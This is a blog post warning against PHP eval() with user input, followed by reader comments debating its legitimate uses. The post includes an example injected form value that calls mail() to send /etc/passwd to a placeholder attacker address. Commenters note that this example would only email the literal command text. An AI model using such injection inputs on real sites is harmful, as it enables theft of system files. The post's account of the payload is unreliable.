JSON creator Douglas Crockford more than once pointed out that: in JavaScript, eval is evil. Well in PHP, eval is also almost always evil (though some people say it can be useful in a few limited cases). I personally have no guts to use it. Allowing any user-supplied data to go into an eval( ) call is asking to be hacked.
eval( ) has aliases. Do not use the /e option with preg_replace( ), the preg_replace( ) function with the /e option also calls eval( ) on PHP code, especially if you use any user-entered data in the calls.
So what does eval do? In eval ( string $code_str ), eval evaluates the string given in code_str as PHP code. Imagine you get a form username input field value using eval($_POST['username']), if the hacker type the following value in the input field: mail("hacker@somewhere.com", "Some passwords", '/bin/cat /etc/passwd'). You will be sending your server password to the hacker.
So don’t use eval unless you are suicidal. ;)





















































#1 by Ross on September 3, 2008 - 7:14 am
I find eval very helpful in varible setting examples, for example:
eval(’$this->debug =’ . (IS_PHP4 ? ‘&’ : ”) . ‘ new stdClass();’);
The only cases where eval is “evil” are whereyou’re inputting user data into eval – but you should be validating and sanitising any user input anyway.
#2 by admin on September 3, 2008 - 9:43 am
Hi, Ross
in your case, it provides convenience and really helpful. What I mentioned in my post was more about the possible problems eval causes.
really appreciate your opinion. :)
#3 by Matt on May 16, 2009 - 4:45 pm
In your first paragraph you’re assuming that any use of eval() is evil? You say that allowing any user-supplied data to go into eval() is asking to be hacked; that’s not the same thing as just using eval().
I was using eval() today (though, admittedly, I am strongly against eval() too) but none of the data in it is user-supplied.
#4 by max on September 8, 2009 - 2:41 am
“if the hacker type the following value in the input field”
he get nothing with your example except an email with ‘/bin/cat /etc/passwd’ text.
#5 by Rob on March 4, 2010 - 7:48 am
I too use eval() and find it is a very useful and powerful function.
It’s only ‘evil’ to the idiots who don’t use correct input validation and allow any content to be eval()’d.
If you design your product right, you shouldn’t have any problems. Avoiding eval, for me. Just isn’t a solution.
Also, max is right.